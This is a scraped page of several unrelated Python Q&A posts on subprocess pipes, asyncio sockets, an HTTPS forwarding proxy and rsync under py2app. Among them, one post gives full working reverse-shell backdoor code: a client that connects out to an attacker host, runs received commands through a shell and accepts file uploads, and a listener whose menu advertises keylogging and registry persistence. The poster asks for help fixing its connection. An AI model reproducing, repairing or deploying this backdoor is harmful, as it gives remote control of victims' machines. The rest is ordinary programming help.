We Keep Coding

How to wildly and/or alternatingly read from stdout and/or stderr and write to stdin of a process in python?

I searched here a lot of different questions and answers, but I did not found a general approach for:
reading from stdout and stderr, what is available - until the last byte (currently!) available (even if it is not a \n)
depending upon the read information write something to stdin
the command line tool will react to this stdin input and write (much later) something/nothing
start from beginning - or leave loop if process has finished, capturing its return code
Most examples here findable write only ONCE to stdin and read only ONCE (before/afterwards) from stdout and/or stderr.
My intention is to "weave" reading from stdout and/or stderr and writing to stdin!
Here an example:
starting a command line tool (finally with parameters) - e. g. python3.exe
reading always from the stdout and stderr
e. g. read everything and after reading >>> from stdout
write print('Hello World.')\n
e. g. read everything (Hello World.\n)and after reading >>> from stdout
write x = [6, 0]\n
e. g. read everything and after reading >>> from stdout
write y = x[0] / x[1]\n
e. g. read everything ( ... ZeroDivisionError: division by zero on stdout/stderr)
...
I tried to solve it with this found internet example (after other failed attempts):
# Example #27
# of https://www.programcreek.com/python/example/85342/asyncio.create_subprocess_shell
# Source Project: Python-Journey-from-Novice-to-Expert Author: PacktPublishing File: 07_processes.py License: MIT License 5 votes vote downvote up
import asyncio
import sys
async def read_from_pipe(pipe, buf, timeout_sec):
while True:
try:
pipe_byte = await asyncio.wait_for(pipe.read(1), timeout_sec)
except asyncio.TimeoutError:
break
else:
if len(pipe_byte) == 1:
buf.append(pipe_byte[0])
else:
pipe_byte == b'\n' # in case of end of file: fake end of line
if pipe_byte == b'\n':
return len(buf)
async def run_script(version):
process = await asyncio.create_subprocess_shell(
r'C:\Programs\Python\Python38-32\python.exe',
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE,
stdin=asyncio.subprocess.PIPE,
)
if version == 0:
# Write a simple Python script to the interpreter
process.stdin.write(b'\n'.join((
b'import math',
b'x = 2 ** 8',
b'y = math.sqrt(x)',
b'z = math.sqrt(y)',
b'print("x: %d" % x)',
b'print("y: %d" % y)',
b'print("z: %d" % z)',
b'for i in range(int(z)):',
b' print("i: %d" % i)',
)))
# Make sure the stdin is flushed asynchronously
await process.stdin.drain()
# And send the end of file so the Python interpreter will
# start processing the input. Without this the process will
# stall forever.
process.stdin.write_eof()
# Fetch the lines from the stdout asynchronously
async for out in process.stdout:
# Decode the output from bytes and strip the whitespace
# (newline) at the right
print(out.decode('utf-8').rstrip())
# Wait for the process to exit
await process.wait()
elif version == 1:
cmds = [b'import math',
b'x = 2 ** 8',
b'y = math.sqrt(x)',
b'z = math.sqrt(y)',
# b'q = z / 0',
b'print("x: %d" % x)',
b'print("y: %d" % y)',
b'print("z: %d" % z)',
b'for i in range(int(z)):',
b' print("i: %d" % i)',
b'exit(0)',
]
idx = 0
while True:
stdout_buf = bytearray(b'')
out_read = await read_from_pipe(process.stdout, stdout_buf, 0.5)
print(f'stdout[{out_read}]: {stdout_buf.decode("ascii")}\n') if out_read else None
stderr_buf = bytearray(b'')
err_read = await read_from_pipe(process.stderr, stderr_buf, 0.5)
print(f'stderr[{err_read}]: {stdout_buf.decode("ascii")}\n') if err_read else None
if idx < len(cmds):
current_cmd = cmds[idx].decode('ascii')
print(f'writing command at index {idx}: "{current_cmd}"')
process.stdin.write(cmds[idx])
process.stdin.write(b'\n')
await process.stdin.drain()
process.stdin.write_eof() # tried with/without this line, afterwards program hangs
idx += 1
else:
break
await process.wait()
if sys.platform == "win32":
codepage = 'cp437'
loop = asyncio.ProactorEventLoop() # For subprocess' pipes on Windows
asyncio.set_event_loop(loop)
else:
codepage = 'utf-8'
loop = asyncio.get_event_loop()
version = 1 # version = 0 runs but is not alternatingly reading stdout/stderr and writing to stdin!
returncode = loop.run_until_complete(run_script(1))
print(f'done with return code = {returncode}.')
Currently it doesn't read anything from the stdout and stderr.
And after the entries in cmds are written, program hangs too.
Finally it should run under linux.
How do I write the program correctly?
Is python3.exe a "too special" command line tool and is the root cause of these problems?
Hint:
This example and the solution do not have to be performant at all. The intended command line tool to control is quite slow (overall execution 20 s to 20 min). Multithreading and multiprocessing is not really required, if not needed for a (simplified) working solution.

I found out that python3.exe is a bit too special to control. I better use e. g. cmd /S on windows (I read /bin/bash for Linux) - this works now:
# Example #27
# of https://www.programcreek.com/python/example/85342/asyncio.create_subprocess_shell
# Source Project: Python-Journey-from-Novice-to-Expert Author: PacktPublishing File: 07_processes.py License: MIT License 5 votes vote downvote up
import asyncio
import sys
async def read_from_pipe(pipe, buf, timeout_sec):
while True:
try:
pipe_byte = await asyncio.wait_for(pipe.read(1), timeout_sec)
except asyncio.TimeoutError:
return len(buf) # no more bytes available currently on that pipe
else:
if len(pipe_byte) == 1:
buf.append(pipe_byte[0])
else:
return len(buf) # end of pipe reached
async def run_script():
process = await asyncio.create_subprocess_shell(
'cmd /S',
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE,
stdin=asyncio.subprocess.PIPE,
)
cmds = [b'dir P*C*S*.*',
b'echo %temp%',
b'exit']
idx = 0
while True:
stdout_buf = bytearray(b'')
out_read = await read_from_pipe(process.stdout, stdout_buf, 0.5)
print(f'stdout[{out_read}]: {stdout_buf.decode("ascii")}\n') if out_read else None
stderr_buf = bytearray(b'')
err_read = await read_from_pipe(process.stderr, stderr_buf, 0.5)
print(f'stderr[{err_read}]: {stdout_buf.decode("ascii")}\n') if err_read else None
if idx < len(cmds):
current_cmd = cmds[idx].decode('ascii')
print(f'writing command at index {idx}: "{current_cmd}"')
process.stdin.write(cmds[idx])
process.stdin.write(b'\n')
await process.stdin.drain()
idx += 1
else:
pass
if process.returncode is not None:
print(f'return code = {process.returncode}')
return process.returncode
if sys.platform == "win32":
codepage = 'cp437'
loop = asyncio.ProactorEventLoop() # For subprocess' pipes on Windows
asyncio.set_event_loop(loop)
else:
codepage = 'utf-8'
loop = asyncio.get_event_loop()
returncode = loop.run_until_complete(run_script())
print(f'done with return code = {returncode}.')
The output is on my computer:
PS C:\Git\ownPythonRepository\Python\CliTap> c:; cd 'c:\Git\ownPythonRepository\Python\CliTap'; & 'C:\Programs\Python\Python38-32\python.exe' 'c:\Users\BitLauncher\.vscode\extensions\ms-python.python-2022.14.0\pythonFiles\lib\python\debugpy\adapter/../..\debugpy\launcher' '63136' '--' 'c:\Git\ownPythonRepository\Python\CliTap\PythonConsoleSandbox.py'
stdout[137]: Microsoft Windows [Version 10.0.11111.2222]
(c) Microsoft Corporation. All rights reserved.
C:\Git\ownPythonRepository\Python\CliTap>
stdout[340]: dir P*C*S*.*
Volume in drive C is What
Volume Serial Number is 9999-9999
Directory of C:\Git\ownPythonRepository\Python\CliTap
2022-09-26 23:52 2,365 PythonConsoleSandbox.py
1 File(s) 2,365 bytes
0 Dir(s) 99,999,999,999 bytes free
C:\Git\ownPythonRepository\Python\CliTap>
writing command at index 1: "echo %temp%"
stdout[93]: echo %temp%
C:\Users\BitLau~1\AppData\Local\Temp
C:\Git\ownPythonRepository\Python\CliTap>
writing command at index 2: "exit"
stdout[5]: exit
return code = 1
done with return code = 1.
PS C:\Git\ownPythonRepository\Python\CliTap>
That's it - now I will be able to write depending upon stdout and/or stderr specific commands to stdin... great. Later I can improve it by multithreading :-) if needed.

cant establish connection with port using python app

I made a back door using pythonpicture of error message, and compiled it to an application (.exe) file on windows, using pyinstaller command,
the process works by using 2 files; 1 is malicious which stays on the target machine and the other one opens a shell on the attacker machine,, to gain control of the infected machine.
but while testing the malicious application on my windows environment ("it's my own machine so I have permission to test on it ") I saw that I was facing " win error 10060"
as far as I understand by the windows error message; it is saying it can't communicate with the attacker machine
(check the image and code to get a better idea of the problem .)
what can I do to avoid this ?
malicious_file.py
import socket
import json
import subprocess
import os
def reliable_send(data):
jsondata = json.dumps(data)
s.send(jsondata.encode())
def reliable_recv():
data =''
while True:
try:
data = data + s.recv(1024).decode().rstrip()
return json.loads(data)
except ValueError:
continue
def download_file(file_name):
f = open(file_name, 'wb')
s.settimeout(1)
chunk = s.recv(1024)
while chunk:
f.write(chunk)
try:
chunk = s.recv(1024)
except socket.timeout as e:
break
s.settimeout(None)
f.close()
def shell():
while True:
command = reliable_recv()
if command == 'quit':
break
elif command == 'help':
pass
# elif command == 'clear':
# pass
elif command[:3] == 'cd ':
os.chdir(command[3:])
elif command[:6] == 'upload':
download_file(command[7:])
else:
execute = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
result = execute.stdout.read() + execute.stderr.read()
result = result.decode()
reliable_send(result)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('10.0.2.15', 5548))
shell()
shell_opener_server.py
import socket
import termcolor
import json
def reliable_recv():
data =''
while True:
try:
data = data + target.recv(1024).decode().rstrip()
return json.loads(data)
except ValueError:
continue
def reliable_send(data):
jsondata = json.dumps(data)
target.send(jsondata.encode())
def upload_file(file_name):
f = open(file_name, 'rb')
target.send(f.read())
def target_ccommunication():
while True:
command = input('* Shell-%s: ' % str(ip))
reliable_send(command)
if command == 'quit':
break
elif command[:3] == 'cd ':
pass
elif command[:6] == 'upload':
upload_file(command[7:])
elif command == 'help':
print(termcolor.colored('''\n
quit --> Quit Session with the target
clear --> Clean the screen
cd *Dir name* --> Changes directory on target system
upload *file name* --> upload file to target machine
download *file name* --> Download file from target machine
keylog_start --> Start the keylogger
keylog_dump --> Print keystrokes that the target inputted
keylog_stop --> stop and self-destruct keylogger file
persistence *Regname* *file name* --> Creat persistance in registry'''), "green")
else:
result = reliable_recv()
print(result)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(('10.0.2.15', 5555))
print(termcolor.colored('[+] Listening For The Incoming Connections', 'green'))
sock.listen(5)
target, ip = sock.accept()
print(termcolor.colored('[+] Target Connected FROM : ' + str(ip), 'green'))
target_ccommunication()p

How to send data from a Python asyncio socket server to a subprocess?

Python 3.6
This program:
launches ffmpeg as a subprocess
waits for a socket connection
receives PNG images on the socket
sends the PNG images to ffmpeg
stdin
The problem is step 4. I can't work out how to send the received PNG image from the coroutine to the stdin of the ffmpeg subprocess. Can anyone please point me in the right direction to send the PNG image to the stdin of the ffmpeg subprocess?
EDIT: to clarify - there's nothing wrong with this code, it receives the PNGs fine over the socket. I just don't have any idea how to send the PNGs on into the stdin of ffmpeg. I've done quite alot of Python but asyncio is new to me and how things tie together is a mystery.
thanks!
import asyncio
import argparse, sys
import sys
import base64
from struct import unpack
parser = argparse.ArgumentParser()
parser.add_argument('--port', help='ffmpeg listen port')
parser.add_argument('--outputfilename', help='ffmpeg output filename')
args = parser.parse_args()
if not args.port:
print("port is required")
sys.exit(1)
if not args.outputfilename:
print("outputfilename is required")
sys.exit(1)
async def _read_stream(stream, cb):
while True:
line = await stream.readline()
if line:
cb(line)
else:
break
async def _stream_subprocess(cmd, stdout_cb, stderr_cb):
process = await asyncio.create_subprocess_exec(
*cmd,
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE,
stdin=asyncio.subprocess.PIPE,
)
await asyncio.wait([
_read_stream(process.stdout, stdout_cb),
_read_stream(process.stderr, stderr_cb)
])
return await process.wait()
def process_stderr(line):
# ffmpeg finishes processing and writes the output file when its input is closed
# thus the completion message will come out of stderr only when the socket or stdin or whatever is closed
line = line.decode()
print(line)
if "Output" in line:
if args.outputfilename in line:
print('finished!!!!')
sys.exit(0)
def process_stdout(line):
print("STDOUT: %s" % line)
def spawn_ffmpeg(listenport, outputfilename, framerate=30, format='webm'):
outputdirectory = "sftp://username:password#10.0.0.196/var/www/static/"
input_type = "pipe:0" #stdin
params = \
f"ffmpeg " \
f"-loglevel 56 " \
f"-y -framerate {framerate} " \
f"-f image2pipe " \
f"-i {input_type} " \
f"-c:v libvpx-vp9 " \
f"-b:v 1024k " \
f"-q:v 0 " \
f"-pix_fmt yuva420p " \
f"{outputdirectory}{outputfilename} "
return params
async def socket_png_receiver(reader, writer):
while True:
# first the client sends the length of the data to us
lengthbuf = await reader.read(4)
length, = unpack('!I', lengthbuf)
if length == 0:
print("length was 0, finish") # a zero length PNG says that there are no more frames
break
# then we read the PNG
data = await reader.read(length)
data = data.decode() # from bytes to string
png_bytes = base64.b64decode(data) # from base64 to bytes
# next line was just a guess, so I have commented it out.
#await proc.communicate(png_bytes)
print("Got PNG, length", length)
return
loop = asyncio.get_event_loop()
command = spawn_ffmpeg("24897", args.outputfilename)
ffmpeg_process = _stream_subprocess(
command.split(),
process_stdout,
process_stderr,
)
#coro = asyncio.start_server(socket_png_receiver, '0.0.0.0', args.port, ffmpeg_process, loop=loop)
coro = asyncio.start_server(socket_png_receiver, '0.0.0.0', args.port, loop=loop)
several_futures = asyncio.gather(ffmpeg_process, coro)
server = loop.run_until_complete(several_futures)
server.close()
loop.close()
Here are the changes suggested by #user4815162342
import asyncio
import argparse, sys
import sys
import base64
from struct import unpack
parser = argparse.ArgumentParser()
parser.add_argument('--port', help='ffmpeg listen port')
parser.add_argument('--outputfilename', help='ffmpeg output filename')
args = parser.parse_args()
if not args.port:
print("port is required")
sys.exit(1)
if not args.outputfilename:
print("outputfilename is required")
sys.exit(1)
if not args.outputfilename.endswith('.webm'):
print("outputfilename must end with '.webm'")
sys.exit(1)
async def _read_stream(stream, cb):
while True:
line = await stream.readline()
if line:
cb(line)
else:
break
async def _stream_subprocess(cmd, stdout_cb, stderr_cb):
global process
process = await asyncio.create_subprocess_exec(
*cmd,
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE,
stdin=asyncio.subprocess.PIPE,
)
await asyncio.wait([
_read_stream(process.stdout, stdout_cb),
_read_stream(process.stderr, stderr_cb)
])
return await process.wait()
def process_stderr(line):
# ffmpeg finishes processing and writes the output file when its input is closed
# thus the completion message will come out of stderr only when the socket or stdin or whatever is closed
line = line.decode()
print(line)
if "Output" in line:
if args.outputfilename in line:
print('finished!!!!')
sys.exit(0)
def process_stdout(line):
print("STDOUT: %s" % line)
def spawn_ffmpeg(listenport, outputfilename, framerate=30, format='webm'):
outputdirectory = "sftp://username:password#10.0.0.196/var/www/static/"
input_type = "pipe:0" # stdin
params = \
f"ffmpeg " \
f"-loglevel 56 " \
f"-y " \
f"-framerate {framerate} " \
f"-i {input_type} " \
f"{outputdirectory}{outputfilename} "
print(params)
return params
async def socket_png_receiver(reader, writer):
while True:
# first the client sends the length of the data to us
lengthbuf = await reader.readexactly(4)
length, = unpack('!I', lengthbuf)
if length == 0:
print("length was 0, finish") # a zero length PNG says that there are no more frames
break
# then we read the PNG
print("Got PNG, length", length)
data = await reader.readexactly(length)
print(data)
png_bytes = base64.b64decode(data) # from base64 to bytes
process.stdin.write(png_bytes)
return
loop = asyncio.get_event_loop()
command = spawn_ffmpeg("24897", args.outputfilename)
ffmpeg_process = _stream_subprocess(
command.split(),
process_stdout,
process_stderr,
)
coro = asyncio.start_server(socket_png_receiver, '0.0.0.0', args.port, loop=loop)
several_futures = asyncio.gather(ffmpeg_process, coro)
server = loop.run_until_complete(several_futures)
server.close()
loop.close()

There are several issues with the code:
await reader.read(length) should be await reader.readexactly(length) because the argument to StreamReader.read is the maximum number of bytes to read, and it can return fewer.
proc.communicate(png_bytes) should be changed to proc.stdin.write(png_bytes). The call to communicate() is incorrect here because you want to continue talking to the program, while communicate() waits for all the streams to close.
The instance of process returned by asyncio.create_subprocess_exec(...) must be made available to socket_png_receiver, e.g. by making the process variable global using global process. (It would be better to use a class and assign to self.process, but that is beyond the scope of this answer.)
Some potential issues:
There is no need to decode data from bytes to string, base64.b64decode can accept bytes just fine.
spawn_ffmpeg() doesn't appear to use its listenport parameter.

Trying to build a proxy with aiohttp

I'm trying to write a forwarding http proxy with aiohttp, I've currently got it working with http but wanting it to work with https(without decryption).
import asyncio
from aiohttp import web, ClientSession
loop = asyncio.get_event_loop()
async def handler(server_request):
if server_request.method == "CONNECT":
print(await server_request.read())
else:
async with ClientSession() as session:
async with session.request(server_request.method, server_request.raw_path) as request:
response = web.StreamResponse(status=200,
reason='OK',
headers={'Content-Type': 'text/html'})
await response.prepare(server_request)
while True:
chunk = await request.content.read()
if not chunk:
break
response.write(chunk)
return response
server = web.Server(handler)
loop.run_until_complete(loop.create_server(server, "0.0.0.0", 8080))
try:
loop.run_forever()
except KeyboardInterrupt:
loop.close()
pass
I've got to the point where I need to get the raw body to send down the tunnel to the destination but can't seem to access it
If I attempt to read I get an exception:
b''
Unhandled exception
Traceback (most recent call last):
File "/usr/local/lib/python3.6/dist-packages/aiohttp/web_protocol.py", line 434, in start
yield from resp.prepare(request)
AttributeError: 'NoneType' object has no attribute 'prepare'

The basic idea in a HTTPS proxy is to act like a stream proxy, where we read raw data and put raw data to destination. Unfortunately after skimming through aiohttp I could not find anything which would help achieve the same, so you need to us basic asyncio.
Below code snippets shows the main logic behind the https part
if head[0] == 'CONNECT': # https proxy
try:
logger.info('%sBYPASSING <%s %s> (SSL connection)' %
('[%s] ' % ident if verbose >= 1 else '', head[0], head[1]))
m = REGEX_HOST.search(head[1])
host = m.group(1)
port = int(m.group(2))
req_reader, req_writer = yield from asyncio.open_connection(host, port, ssl=False, loop=loop)
client_writer.write(b'HTTP/1.1 200 Connection established\r\n\r\n')
#asyncio.coroutine
def relay_stream(reader, writer):
try:
while True:
line = yield from reader.read(1024)
if len(line) == 0:
break
writer.write(line)
except:
print_exc()
tasks = [
asyncio.async(relay_stream(client_reader, req_writer), loop=loop),
asyncio.async(relay_stream(req_reader, client_writer), loop=loop),
]
yield from asyncio.wait(tasks, loop=loop)
except:
print_exc()
finally:
return
The complete PROXY code is as below
#!/usr/bin/env python3
VERSION = "v0.2.0"
"""
Copyright (c) 2013 devunt
Permission is hereby granted, free of charge, to any person
obtaining a copy of this software and associated documentation
files (the "Software"), to deal in the Software without
restriction, including without limitation the rights to use,
copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the
Software is furnished to do so, subject to the following
conditions:
The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
OTHER DEALINGS IN THE SOFTWARE.
"""
import sys
if sys.version_info < (3, 4):
print('Error: You need python 3.4.0 or above.')
exit(1)
from argparse import ArgumentParser
from socket import TCP_NODELAY
from time import time
from traceback import print_exc
import asyncio
import logging
import random
import functools
import re
REGEX_HOST = re.compile(r'(.+?):([0-9]{1,5})')
REGEX_CONTENT_LENGTH = re.compile(r'\r\nContent-Length: ([0-9]+)\r\n', re.IGNORECASE)
REGEX_CONNECTION = re.compile(r'\r\nConnection: (.+)\r\n', re.IGNORECASE)
clients = {}
logging.basicConfig(level=logging.INFO, format='[%(asctime)s] {%(levelname)s} %(message)s')
logging.getLogger('asyncio').setLevel(logging.CRITICAL)
logger = logging.getLogger('warp')
verbose = 0
def accept_client(client_reader, client_writer, *, loop=None):
ident = hex(id(client_reader))[-6:]
task = asyncio.async(process_warp(client_reader, client_writer, loop=loop), loop=loop)
clients[task] = (client_reader, client_writer)
started_time = time()
def client_done(task):
del clients[task]
client_writer.close()
logger.debug('[%s] Connection closed (took %.5f seconds)' % (ident, time() - started_time))
logger.debug('[%s] Connection started' % ident)
task.add_done_callback(client_done)
#asyncio.coroutine
def process_warp(client_reader, client_writer, *, loop=None):
ident = str(hex(id(client_reader)))[-6:]
header = ''
payload = b''
try:
RECV_MAX_RETRY = 3
recvRetry = 0
while True:
line = yield from client_reader.readline()
if not line:
if len(header) == 0 and recvRetry < RECV_MAX_RETRY:
# handle the case when the client make connection but sending data is delayed for some reasons
recvRetry += 1
yield from asyncio.sleep(0.2, loop=loop)
continue
else:
break
if line == b'\r\n':
break
if line != b'':
header += line.decode()
m = REGEX_CONTENT_LENGTH.search(header)
if m:
cl = int(m.group(1))
while (len(payload) < cl):
payload += yield from client_reader.read(1024)
except:
print_exc()
if len(header) == 0:
logger.debug('[%s] !!! Task reject (empty request)' % ident)
return
req = header.split('\r\n')[:-1]
if len(req) < 4:
logger.debug('[%s] !!! Task reject (invalid request)' % ident)
return
head = req[0].split(' ')
if head[0] == 'CONNECT': # https proxy
try:
logger.info('%sBYPASSING <%s %s> (SSL connection)' %
('[%s] ' % ident if verbose >= 1 else '', head[0], head[1]))
m = REGEX_HOST.search(head[1])
host = m.group(1)
port = int(m.group(2))
req_reader, req_writer = yield from asyncio.open_connection(host, port, ssl=False, loop=loop)
client_writer.write(b'HTTP/1.1 200 Connection established\r\n\r\n')
#asyncio.coroutine
def relay_stream(reader, writer):
try:
while True:
line = yield from reader.read(1024)
if len(line) == 0:
break
writer.write(line)
except:
print_exc()
tasks = [
asyncio.async(relay_stream(client_reader, req_writer), loop=loop),
asyncio.async(relay_stream(req_reader, client_writer), loop=loop),
]
yield from asyncio.wait(tasks, loop=loop)
except:
print_exc()
finally:
return
phost = False
sreq = []
sreqHeaderEndIndex = 0
for line in req[1:]:
headerNameAndValue = line.split(': ', 1)
if len(headerNameAndValue) == 2:
headerName, headerValue = headerNameAndValue
else:
headerName, headerValue = headerNameAndValue[0], None
if headerName.lower() == "host":
phost = headerValue
elif headerName.lower() == "connection":
if headerValue.lower() in ('keep-alive', 'persist'):
# current version of this program does not support the HTTP keep-alive feature
sreq.append("Connection: close")
else:
sreq.append(line)
elif headerName.lower() != 'proxy-connection':
sreq.append(line)
if len(line) == 0 and sreqHeaderEndIndex == 0:
sreqHeaderEndIndex = len(sreq) - 1
if sreqHeaderEndIndex == 0:
sreqHeaderEndIndex = len(sreq)
m = REGEX_CONNECTION.search(header)
if not m:
sreq.insert(sreqHeaderEndIndex, "Connection: close")
if not phost:
phost = '127.0.0.1'
path = head[1][len(phost)+7:]
logger.info('%sWARPING <%s %s>' % ('[%s] ' % ident if verbose >= 1 else '', head[0], head[1]))
new_head = ' '.join([head[0], path, head[2]])
m = REGEX_HOST.search(phost)
if m:
host = m.group(1)
port = int(m.group(2))
else:
host = phost
port = 80
try:
req_reader, req_writer = yield from asyncio.open_connection(host, port, flags=TCP_NODELAY, loop=loop)
req_writer.write(('%s\r\n' % new_head).encode())
yield from req_writer.drain()
yield from asyncio.sleep(0.2, loop=loop)
def generate_dummyheaders():
def generate_rndstrs(strings, length):
return ''.join(random.choice(strings) for _ in range(length))
import string
return ['X-%s: %s\r\n' % (generate_rndstrs(string.ascii_uppercase, 16),
generate_rndstrs(string.ascii_letters + string.digits, 128)) for _ in range(32)]
req_writer.writelines(list(map(lambda x: x.encode(), generate_dummyheaders())))
yield from req_writer.drain()
req_writer.write(b'Host: ')
yield from req_writer.drain()
def feed_phost(phost):
i = 1
while phost:
yield random.randrange(2, 4), phost[:i]
phost = phost[i:]
i = random.randrange(2, 5)
for delay, c in feed_phost(phost):
yield from asyncio.sleep(delay / 10.0, loop=loop)
req_writer.write(c.encode())
yield from req_writer.drain()
req_writer.write(b'\r\n')
req_writer.writelines(list(map(lambda x: (x + '\r\n').encode(), sreq)))
req_writer.write(b'\r\n')
if payload != b'':
req_writer.write(payload)
req_writer.write(b'\r\n')
yield from req_writer.drain()
try:
while True:
buf = yield from req_reader.read(1024)
if len(buf) == 0:
break
client_writer.write(buf)
except:
print_exc()
except:
print_exc()
client_writer.close()
#asyncio.coroutine
def start_warp_server(host, port, *, loop = None):
try:
accept = functools.partial(accept_client, loop=loop)
server = yield from asyncio.start_server(accept, host=host, port=port, loop=loop)
except OSError as ex:
logger.critical('!!! Failed to bind server at [%s:%d]: %s' % (host, port, ex.args[1]))
raise
else:
logger.info('Server bound at [%s:%d].' % (host, port))
return server
def main():
"""CLI frontend function. It takes command line options e.g. host,
port and provides `--help` message.
"""
parser = ArgumentParser(description='Simple HTTP transparent proxy')
parser.add_argument('-H', '--host', default='127.0.0.1',
help='Host to listen [default: %(default)s]')
parser.add_argument('-p', '--port', type=int, default=8800,
help='Port to listen [default: %(default)d]')
parser.add_argument('-v', '--verbose', action='count', default=0,
help='Print verbose')
args = parser.parse_args()
if not (1 <= args.port <= 65535):
parser.error('port must be 1-65535')
if args.verbose >= 3:
parser.error('verbose level must be 1-2')
if args.verbose >= 1:
logger.setLevel(logging.DEBUG)
if args.verbose >= 2:
logging.getLogger('warp').setLevel(logging.DEBUG)
logging.getLogger('asyncio').setLevel(logging.DEBUG)
global verbose
verbose = args.verbose
loop = asyncio.get_event_loop()
try:
loop.run_until_complete(start_warp_server(args.host, args.port))
loop.run_forever()
except OSError:
pass
except KeyboardInterrupt:
print('bye')
finally:
loop.close()
if __name__ == '__main__':
exit(main())
PS: The code has been taken from https://github.com/devunt/warp. The complete code is posted here so that if the link becomes invalid in future, the answer is still valid.

rsync called by subprocess Popen works when running script but does not when I generate an app with py2app

This is my code:
def uploadByRSync(host, user, passwd, src, dst, statusManager):
try:
os.environ["RSYNC_PASSWORD"] = passwd
print host, user, passwd, src, dst
parameters = ["rsync", "-azP", "--partial", src ,"{3}#{0}::{2}/{1}".format(host, dst, user, user)]
print " ".join(parameters)
process = subprocess.Popen(parameters, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, universal_newlines=True)
for line in unbuffered(process):
if "%" in line:
spl = line.split()
statusManager.uploadSpeed = spl[2]
statusManager.uploaded = spl[1]
return not process.wait()
except Exception as ex:
print ex
return False
newlines = ['\n', '\r\n', '\r']
def unbuffered(proc, stream='stdout'):
stream = getattr(proc, stream)
with contextlib.closing(stream):
while True:
out = []
last = stream.read(1)
# Don't loop forever
if last == '' and proc.poll() is not None:
break
while last not in newlines:
# Don't loop forever
if last == '' and proc.poll() is not None:
break
out.append(last)
last = stream.read(1)
out = ''.join(out)
print out
yield out
When running with the py2app version I can never get an output. When running as script everything works just fine. ps: this code runs on a separated thread of a Qt app. Does anyone have any idea why this is happening?

Most likely you have a stream buffering issue. Here is how you can output all lines of your process in real time:
import subprocess
import select
p = subprocess.Popen(parameters,
stdout=subprocess.PIPE, stderr=subprocess.PIPE,
bufsize=0)
poll = [p.stdout.fileno(), p.stderr.fileno()]
while True:
# check if process is still running and read remaining data
if p.poll() is not None:
for l in p.stdout.readlines():
print(l)
for l in p.stderr.readlines():
print(l)
break
# blocks until data is being recieved
ret = select.select(poll, [], [])
for fd in ret[0]:
line = p.stdout.readline() if fd == p.stdout.fileno() else p.stderr.readline()
print(line)

Just made a test changing the Popen call by a simple 'ls',but I still cannot get the output when running py2app version. It works just fine when running python script. When I kill the py2app version app the output is just printed.
process = subprocess.Popen(["ls"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, universal_newlines=True)